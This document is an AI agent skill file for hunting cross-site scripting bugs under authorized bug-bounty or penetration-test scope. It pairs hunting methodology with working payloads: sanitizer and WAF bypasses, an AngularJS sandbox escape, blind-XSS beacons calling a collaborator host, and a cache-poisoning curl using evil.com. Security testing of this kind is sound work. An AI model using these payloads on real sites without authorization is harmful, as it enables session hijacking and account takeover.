Find dangerous sinks in JS

---
name: hunt-xss
description: Hunting skill for xss vulnerabilities.
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
  relevant testing tools for this technique. Docs-only; helper scripts and commands
  not bundled.
sources: github, hackerone_public
report_count: 174
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## Autonomous Testing Priority

**Reflection is a candidate, not XSS proof.** Choose a unique random canary, compare the baseline, identify the actual HTML/attribute/JavaScript/URL context and trace source to sink. Raw `<script>` text can be inert inside comments, text/plain, a template, a nonexecuting DOM insertion or a restrictive CSP. HTML encoding can protect one context while a later decode or different JavaScript context remains unsafe. DOM XSS can occur without payload text in the server response.

Confirm harmless canary execution in the supported real browser, recording origin, trigger, CSP, user role and delivery prerequisites. Use only owned test sessions. An alert/canary can establish code execution; further credential theft or account changes are not required if outside scope. For stored payloads, use a private test resource, approved viewers and a cleanup plan; never expose real users or administrators to unsolicited payloads.

---

## Scope and interpretation

The examples and imported historical case summaries are not verified current exploits. Apply the written target/method/request budget, and do not claim broad tenants, users or origins without evidence. Cache tests must use isolated keys and approved cleanup, not poison shared production pages. Linked helpers are not bundled.

## Crown Jewel Targets

XSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:

- **Admin panels and authenticated dashboards** (e.g., `*/admin`, `*/settings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
- **Payment/financial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- **SSO/signin pages** (e.g., `paypal.com/signin`) — XSS here is critical because it can steal auth tokens across the entire platform
- **Shared SaaS tenant surfaces** (`*.myshopify.com`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries
- **Help/documentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception
- **SVG/file upload endpoints** — frequently bypasses CSP and sanitization simultaneously

**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing/help sites

---

## OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

A controlled browser execution trace can confirm stored XSS without OOB. A callback alone, even with a browser User-Agent, is not definitive proof: scanners, previews, normal image loads and server clients can request the same URL. Correlate a unique execution-only canary with sink, time, origin and browser evidence. DNS alone proves resolution. No callback within ten minutes is inconclusive, not proof that logs never render HTML. Delayed beacons need explicit authorized recipients, lifetime and cleanup.

### Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (`?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>`)
- Auth-flow source params (`?Source=`, `?ReturnUrl=`)
- Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames

**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.

**Imported anecdote limitation:** Zero callbacks in a polling window cannot establish the rendering behavior of all SOC tools. Report only the attempted sinks, timing and observed absence of callbacks.

---

## Attack Surface Signals

**URL Patterns:**
```
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
```

**Response Headers (weak defense signals):**
```
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
```

**JS Patterns in source that signal DOM XSS:**
```javascript
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval( <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(string,
setInterval(string,
$.html(
$(location
```

**Tech Stack Signals:**
- Rails applications using `html_safe`, `raw`, `translate`, Action Text, or ActionView sanitize helpers
- GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
- Applications allowing SVG uploads or rendering
- Sites using `style` tag in allowlists
- Kroki/Mermaid/PlantUML diagram rendering endpoints
- Cache layers in front of authenticated pages (cache poisoning vector)

---

## Step-by-Step Hunting Methodology

1. **Map all reflection points** — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.

2. **Classify by type** — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.

3. **Probe sanitizer behavior** — Send harmless canary strings first: `aaa"bbb'ccc<ddd` to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

   **Marker Discipline:** When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `evil`, `attacker`, `payload`, `javascript`, `script`. Good markers: `cpmark987abc`, `x4hd2k9pq`, `__ZZ_MARKER_<random>_ZZ__`. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word `javascript` is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This reduces a false-positive source; no measured percentage is established.

4. **Test allowlisted tag combinations** — If a sanitizer is in use, probe for dangerous tag combos: `<math>+<style>`, `<svg>+<style>`, `<iframe srcdoc>`, `<style>` with expressions.

5. **Hunt SVG and file upload vectors** — Upload SVG files containing `<script>` tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

6. **Test markdown/documentation renderers** — In wiki, README, or doc fields, try: `[text] (javascript:alert(1))`, inline HTML injection, Kroki/Mermaid payloads, RDoc `link:javascript:` syntax.

7. **Check redirect parameters** — Test `?redirect=javascript:alert(1)` and `?return_url=//evil.com` — look for single-click XSS via improper redirect sanitization.

8. **Probe UTM and analytics parameters** — `utm_source`, `utm_medium`, `utm_campaign` are often reflected without sanitization on marketing pages.

9. **Test CSP bypass opportunities** — If CSP is present, look for: JSONP endpoints on allowed domains, `unsafe-inline` in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.

10. **Attempt stored XSS in profile/metadata fields** — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.

11. **Check cache poisoning** — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.

12. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)

---

## Payload & Detection Patterns

**Basic context probing:**
```html
aaa"bbb'ccc<ddd>eee`fff
```

**Reflected XSS — URL parameter baseline:**
```
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
```

**Attribute context escapes:**
```html
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
```

**SVG-based (CSP bypass):**
```html
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>
```

**Sanitizer bypass — math+style combo:**
```html
<math><style><img src=x onerror=alert(1)></style></math>
```

**Sanitizer bypass — svg+style combo:**
```html
<svg><style><img src=x onerror=alert(1)></style></svg>
```

**Markdown/RDoc javascript: link:**
```markdown
[Click me] (javascript:alert(document.domain))
```

**Kroki/diagram injection:**
````
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
```
````

**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
```

**Grep patterns for source review:**
```bash
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js" <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
```

**Curl to detect reflection:**
```bash
curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
```

**Cache poisoning test:**
```bash
# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"
```

---

## Common Root Causes

1. **Trusting `html_safe` in Rails** — Developers mark strings as safe after partial sanitization, or chain `.html_safe` on user-supplied data without full sanitization.

2. **Allowlist sanitizers with dangerous tag combinations** — Allowing `style` alongside `math` or `svg` creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.

3. **Third-party rendering pipelines** — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.

4. **Reflecting URL parameters without encoding** — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.

5. **SVG treated as non-script content** — Developers apply CSP to HTML responses but forget that `image/svg+xml` responses can execute JavaScript and often aren't covered by the same CSP header.

6. **Incomplete sanitizer patches** — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).

7. **`javascript:` scheme not blocked in href/src** — Link renderers (RDoc, Markdown) fail to block `javascript:` URLs in href attributes, treating them as valid external links.

8. **Cache layers storing authenticated user input** — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.

9. **File upload without Content-Type enforcement** — Accepting SVG or HTML files and serving them without forcing `Content-Disposition: attachment` or overriding Content-Type.

10. **Translation helper XSS** — Rails `translate`/`t()` helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.

---

## Bypass Techniques

**CSP Bypass:**
- SVG behavior depends on embedding mode, response CSP, origin and sandboxing; SVG used as an image commonly disables scripting, so upload alone is not a bypass
- Find JSONP endpoints on whitelisted domains (`*.googleapis.com`, `*.cloudflare.com`)
- Use `<base>` tag injection to redirect script sources
- Inspect actual directive scopes: style-src unsafe-inline does not authorize JavaScript and unsafe-eval is relevant to script execution, not a generic CSS bypass
- `<link rel=preload>` or `<meta http-equiv>` gadgets to bypass strict policies

**Sanitizer Bypasses:**
- **mXSS (Mutation XSS):** Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., `<math><style><img onerror=...>`)
- **Tag combination attacks:** `<svg>` + `<style>` or `<math>` + `<style>` create parsing ambiguity
- **Attribute quoting variations:** `onmouseover=alert(1)` without quotes, backtick delimiters
- **HTML entity encoding:** `&#106;avascript:` or `&#x6A;avascript:` in href values
- **Protocol variations:** `javascript:`, `vbscript:`, `data:text/html`

**Filter Evasion:**
```html
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
```

**WAF Bypass:**
```javascript
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))> <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
```

**Redirect-based XSS bypass:**
```
?next=javascript://%0aalert(1)
?next=javascript&colon;alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
```

**AngularJS client-side template injection (CSTI) & sandbox escapes:**
- *Detect:* the page uses AngularJS (look for `ng-app`/`ng-controller` attributes, `angular.js`/`angular.min.js`, or `{{ }}` interpolation). Probe a reflected param with `{{7*7}}` — if it renders `49` (not the literal text), the value is evaluated as an Angular expression. Always drive the `browser` tool so the expression actually evaluates.
- *Execute JS by escaping the sandbox* (technique depends on the AngularJS version):
  - Common: `{{constructor.constructor('alert(1)')()}}` or `{{$eval.constructor('alert(1)')()}}`.
  - **Hard variant — `$eval` unavailable AND string literals disallowed:** overwrite `String.prototype.charAt` (this disables the sandbox's per-character string checks), then use the `orderBy` filter with `String.fromCharCode` to build your JS with no quotes at all. Payload structure (fill in the placeholders yourself):
    ```
    ?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1
    ```
    - `PARAM` = the reflected parameter you found.
    - `CODES` = the comma-separated character codes of the JavaScript you want to run — **compute these yourself** (e.g. encode `x=alert(1)` by converting each character to its char code). `toString()` produces a string without quotes; `[].join` replaces `charAt`; `orderBy` invokes the filter; `fromCharCode(CODES)` rebuilds your payload from the codes.
- Applies to **legacy AngularJS (<1.6)** only; modern frameworks (Angular 2+, React, Vue) are not affected.

---

## Gate 0 Validation

Before writing the report, answer all three:

1. **What can the attacker DO right now?**
   A harmless canary in an owned test session can demonstrate script execution. State the affected origin/role and possible access with evidence; never require live cookie/token theft or a real victim — state what the alert box *represents* in terms of access (e.g., "I can read `document.cookie` which contains the auth token used for all admin API calls").

2. **What does the victim LOSE?**
   The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what *that* user's browser is exposed to.

3. **Can it be reproduced in 10 minutes from scratch?**
   You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.

---

## Real Impact Examples

**Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page**
An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.

**Scenario 2 — Stored XSS via Diagram Rendering in Wiki**
A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.

**Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass**
A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.

---


## Contents

- [Chains & Compositions (Senior Hunting)](references/details.md)
- [Related Skills & Chains](references/details.md)

## When to Use

- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

## Limitations

- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.

### Example

```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief
```

> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.